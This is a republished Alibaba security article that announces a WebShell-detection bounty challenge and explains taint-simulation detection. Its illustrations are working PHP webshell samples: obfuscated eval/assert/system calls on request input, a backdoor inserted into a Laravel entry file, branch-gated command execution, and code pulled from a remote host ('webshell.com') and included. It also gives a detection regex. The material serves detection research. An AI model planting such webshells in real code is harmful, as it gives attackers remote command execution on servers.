“伏魔”赏金 | WebShell检测之「模拟污点引擎」首次公测,邀你来战!
2022-1-14 18:45:23 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

本文转发自“阿里安全响应中心”

公众号:阿里安全响应中心“伏魔”赏金 | WebShell检测之「模拟污点引擎」首次公测,邀你来战!

安全是一个动态的过程,攻防对抗如同在赛博世界里降妖伏魔,其要义是:取彼之长,补己之短。

——伏魔引擎的诞生

伏魔引擎挑战赛

注册地时间: 2022.01.10 00:00:00 - 2022.01.24 10:00:00(UTC +8)
比赛时间: 2022.01.17 10:00:00 - 2022.01.24 10:00:00(UTC +8)
主办方:   薪火实验室 & 云安全中心 & ASRC

比赛奖金:1000 RMB/份有效报告(中国区用户)、150 USD/份有效报告(面向海外用户),赛事组在中场会视赛事情况提升奖金额度。
面向群体:国内、国外白帽群体

活动网址:

https://security.alibaba.com/online/detail?type=1&id=114&tab=1

点击文末“阅读原文”直达

公测背景:

伏魔引擎挑战赛是阿里云安全“宙斯计划——恶意文本检测挑战赛”的延续,整合了宙斯计划近4次公测活动中,2000+安全专家和白帽子们贡献的对抗样本。

作为Webshell检测的集大成者,伏魔(fomo)引擎集静态检测+AI检测+动态沙箱执行检测等多种综合手段为一体,加之锤炼已近2年,新开放公测的模拟污点执行引擎,给挑战者以更高的赏金、更丰富的靶场、更大的舞台,让更多安全专家齐聚一堂探索Webshell攻防领域高峰。

本届活动,我们同时开通了国内和国外的提交通道,同时还邀请了长亭 RealWorld参赛选手。欢迎海内外白帽共襄盛会。

模拟污点检测首度公测

在打磨检测引擎的过程中,我们逐渐意识到传统静态检测和动态检测的困境。基于上千种不同类型的对抗样本,我们打磨出模拟污点执行引擎,它既可以有效应对高级对抗手法,又能有效降低误报率。

要想理解什么是模拟污点执行检测,需要先了解两个概念。解释性脚本语言的执行过程和污点传播检测原理。

  • PHP执行过程

以PHP为例,脚本语言执行的过程如下:

PHP源代码会经过词法、语法的分析形成抽象语法树(AST),然后解析AST,生成opcodes,最后依次执行opcodes。在这个过程中,所有的源代码都会生成AST。

<?php$fa = new SplFixedArray($_GET["num"]);$fa[0] = $_GET["cmd"];eval($fa->toArray()[0]);?>
 


  • 污点传递

污点分析就是分析程序中由污点源引入的数据,在经过数据流处理,传播到污点汇聚点后,是否符合预设的策略。对于Webshell的定义而言,这个策略就是外部可控的值,能否传递进危险函数,从而达到任意代码执行、命令执行的目的。

  • 传统的词法引擎检测方案

PHP源代码会产生AST。通过对AST树进行遍历,可以将$_GET、$_POST等外部可控的变量标记成污点,直至污点传递至危险函数。

但是这种检测方案会产生漏报。以下面代码为例:

<?php@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

遇到代码执行、条件判断、函数调用等操作,在AST上仅仅展示一个节点,无法拿到隐藏的恶意代码信息,也就无法进行检测。

  • 面向高对抗样本的模拟污点检测

而模拟污点检测引擎不只是在原始AST树上进行遍历,而是对每个节点进行模拟执行。

这样做的优势是不需要修改原有的zend引擎来适配检测的逻辑,而是专门面向高对抗样本定制的策略。下面我将举个例子,来说明这种方案的优越性。

<?php// a=whoami
$l = strlen(number_format(-0.01));
substr("11system", $l, 6)($_GET['a']);

number_format函数是7.2版本的不兼容变更,这就意味着此webshell只能运行在php7.2以下的版本。如果动态沙箱为7.2及其以上,则无法计算出恶意代码,从而产生漏报。

除此之外,模拟污点引擎还添加了大量推理执行逻辑,当攻击者有意对抗时,会进行污点传播。

模拟污点引擎的本质是尽量让恶意特征暴露出来:

能直接执行的样本直接运行;不能直接执行的样本模拟执行;不能模拟执行的样本继续推理执行。

看完了模拟污点引擎的优越性,下面我们谈一谈传统静态、动态检测方案的困境。

静态检测难以应对未知威胁

纯静态检测是最早的文本检测手段,自诞生起直到现在还在被大量应用。但其实静态检测的效果取决于对文本特征的提取,特征的维度直接决定误报率和漏报率。在这个章节,我们主要讨论纯源码规则的静态匹配,不包括对文本进行提取AST、opcode等特征再进行静态匹配的情况。

主流的静态检测方法具备检测速度快,普适性好(跨平台、跨版本、跨语言等),实现成本低(理论上只要是黑样本,都可以写规则覆盖)的特点;然而,由于缺乏词法、语法的约束,更易产生误报,同时缺乏对抗性和技术壁垒的特点,使得此类型检测算法在遇到加壳、加密、混淆样本时难以检出,无法形成差异化优势。

  • 正则表达式匹配易误报

<?phpeval($_POST['shell']);

对于上面的Webshell可以直接写正则表达式进行文本匹配:

(eval|system)\(\$_(POST|GET|REQUEST)\[

利用正则表达式可以很容易对已知恶意样本进行匹配,但缺点也很明显,正则表达式无法进行词法、语法的约束,匹配到的文本不一定能正确的执行。

<?phpeval($_POST['

如上述代码也会被规则匹配到。

  • 算法二分类检测难以识别混淆对抗

脚本语言具有较强的灵活性,可以进行编码、加壳等混淆代码操作,躲避正则表达式的检测,从而形成漏报。

<?phpfunction test(){         $a = base64_decode("YXNzZXJ0");         $b = "$_GET[1]";         $a($b);}test();?>

对于上述的Webshell代码,除了写正则表达式检测外,不考虑语义信息,最简单的办法就是用分割符分词,产生词向量。交给算法(机器学习、深度学习),利用大量黑白样本去数据拟合,从而达到检测的目的。

这种方案存在明显不足,对于0day样本(从未在测试集内出现)的场景,无法检出。而攻防本身就对抗激烈,攻击者会事先构造高对抗的Webshell样本,尝试绕过检测引擎。

动态检测环境依赖度高

当对恶意文本的静态特征提取足够准确时,是较为容易检出的。但攻击者通常会采用代码混淆(加壳、编码、加密)阻碍提取特征,所以就需要动态运行跑出所有的特征,从而进行检测。

动态检测算法技术难度高,可以实现更高级复杂的检测技术,同时因真实执行,恶意代码符合语法、词法约束,不强制干预情况下误报极低。然而,由于真实执行需要对整个运行环境进行仿真和定制设计,存在成本高、检测效率低、兼容性差的问题。

以PHP为例,将phpinfo();代码进行编码并加壳混淆。

可以看到混淆成这样,静态检测是很难写规则的,如只针对特定的函数调用进行匹配,那么就会产生误报。所以需要动态执行,将隐藏的特征暴露出来,从而达到检测的目标。通过PHP VLD插件可以拿到PHP生成的OPCODE以及动态运行下的OPCODE调用。

可以看到该样本实际调用了phpinfo,通过动态运行,可以更加精准的检测样本。但不加干扰的动态执行,会遇到各种对抗的挑战。不难理解,攻击者通过构造各种条件,让动态沙箱无法将样本正常运行下去,从而躲避检测。

  • 困境1:缺乏依赖无法运行

PHP、JSP等脚本语言可以通过include语法,引入库函数至当前作用域进行调用。动态沙箱只能拿到当前页面的代码进行运行,从而缺乏依赖,无法正常运行。

<?php/** * Laravel - A PHP Framework For Web Artisans * * @package  Laravel * @author   Taylor Otwell <[email protected]> */
define('LARAVEL_START', microtime(true));
/*|--------------------------------------------------------------------------| Register The Auto Loader|--------------------------------------------------------------------------|| Composer provides a convenient, automatically generated class loader for| our application. We just need to utilize it! We'll simply require it| into the script here so that we don't have to worry about manual| loading any of our classes later on. It feels great to relax.|*/
require __DIR__.'/../vendor/autoload.php';
/*|--------------------------------------------------------------------------| Turn On The Lights|--------------------------------------------------------------------------|| We need to illuminate PHP development, so let us turn on the lights.| This bootstraps the framework and gets it ready for use, then it| will load up this application so that we can run it and send| the responses back to the browser and delight our users.|*/
$app = require_once __DIR__.'/../bootstrap/app.php';
/*|--------------------------------------------------------------------------| Run The Application|--------------------------------------------------------------------------|| Once we have the application, we can handle the incoming request| through the kernel, and send the associated response back to| the client's browser allowing them to enjoy the creative| and wonderful application we have prepared for them.|*/$a=array($_REQUEST['yydsyyds1']=>"3");
$b=array_keys($a)[0];
eval($b);
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle( $request = Illuminate\Http\Request::capture());
$response->send();
$kernel->terminate($request, $response);

这类样本又称为插马(在正常的文件内插入Webshell代码)。一方面在服务器上无新增落盘文件,躲避检测;另一方面可以有效避免沙箱“重放”运行。此样本单独运行,会因找不到依赖报错终止运行。需要对异常等函数调用进行特殊处理才能够将特征暴露出来。

  • 困境2:对抗手段多,引入新攻击面

攻击者会使用分支等绕过手段,根据某外部传入参数,决定某IF条件的判断结果,防止动态沙箱的重录。

示例1- 分支对抗

// 分支对抗<?php
if($_GET['pass']=="admin") {if($_GET['normal'] == "1"){ $a = "echo normal" ; // 分支 1 }else if ($_GET['evil'] == "1") { $a = $_GET['cmd']; // 分支 2 }}else{ $a = "echo normal"; //分支3}system($a);?>

只有当外部传入GET参数 webshell.php?pass=admin&evil=1&cmd=whoami时,才能执行分支2的恶意代码。

动态沙箱拿不到外部的输入,只能执行到分支3的默认逻辑,从而绕过检测。

示例2- 网络对抗

// 网络对抗<?phpcopy("http://webshell.com/1.png",'2.png');if($_GET['abc']=='firefox'){require '2.png';}else{echo "no file";}c();?>

绝大多数动态沙箱,会进行断网处理,目的是为了安全可控,防止攻击者攻击沙箱。但这种措施同时会引入新的攻击面。攻击者可以将恶意代码藏在远程资源,通过请求远程资源获得恶意代码并执行。

  • 困境3:版本碎片化严重

以PHP和JSP举例,PHP的主流版本为PHP5、PHP7、PHP8,JSP的主流版本为JDK1.6、JDK1.7、JDK1.8、JDK1.9、JDK10、JDK11、JDK12、JDK13、JDK14、Tomcat7、Tomcat8、Tomcat9、Tomcat10。每个版本都具有新特征的增加或者旧版本的遗弃,这样带来的直接问题,防御者需要为每一个版本定制动态沙箱,工程量巨大且难以维护。可以看到下面的Webshell代码,在每个php版本的写法都不一致。

<?php // php5&php7兼容写法        ${$_GET['var_name']}=$_GET['cmd'];        system($a); // $a如何确定有没有赋值??>
<?php //php5写法,与php7不兼容 $$_GET['var_name']=$_GET['cmd']; system($a);?>

业内通用做法-执行强制干预

以PHP举例,业内对于上述对抗惯用的做法是,通过Hook PHP的执行函数和Opcode达到强制干预执行流、处理异常等行为。

这种方案遇到新版本的特征,通过修改zend引擎需要不断兼容,工程量巨大。同时如果暴力的进行执行干预、污点传递,容易产生大量误报。

模拟污点检测实现漏/误报的平衡

从“误报”的种类区分,共有两种类型。

    业务性误报这种类型的误报顾名思义,开发者部署正常的业务代码,检测引擎将其识别为“Webshell”,这个原因是检测引擎对误报的控制程度不够。

    构造性误报:在攻防对抗中,攻击者在尝试构造绕过样本中触发的异常检测点,又或者是在特定版本比较苛刻的利用条件。较业务性误报而言,构造性“误报”大多为对抗过程中的异常层。

这一类型的误报,在实际的业务场景中,开发者不会写这种类型的代码,不会产生业务性误报。举个例子:

<?phpeval($a); ?>

php 5.3以下版本register_globals默认开启的全局变量配置,url请求?a=phpinfo();即可利用。但是5.3以下版本不是主流版本,一些缺乏安全经验的人第一眼看到此代码以为是误报。

安全是动态博弈的过程,在过度追求高检出的同时,也会引入大量误报。

模拟污点检测的最大优势在于有利于平衡误报和漏报,引擎内置了各种降误报的机制,同时模拟较为真实的运行结果,极大降低了误报率。Webshell检测能力作为基础的云安全能力,服务阿里云的广大客户,如果业务性误报过多,将极大影响客户的使用。

伏魔计划的愿景:

对于客户而言,我们通过市场化、公平公开的赏金挑战赛方式,让旗下安全产品直接接受行业生态的检验,客户在选择产品的时候,可以综合考虑该产品的赏金测评结果,从而做出更好的购买决策。

对于安全产品而言,尤其是攻防类产品,它不是一个静止不变的实体商品,它从研发、交付、到后期维护,本身是一个不断动态变化的实体,需要不断的通过内部视角、外部视角去锤炼安全能力。
对于行业而言,赏金挑战赛不是一锤子买卖,一次锣鼓喧天搞完就结束,而是要长期持续举办。能力强不是自己说说而已,能力水位需要得到外部视角的不断验证。


文章来源: https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&mid=2247484495&idx=1&sn=5acee617d56b9f502b0e64122b4f3c17&chksm=e91c5fb7de6bd6a14ef8eba7c8e3d335db1b8017b44662341989d31b4ceba84d6241c2fe6a48&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh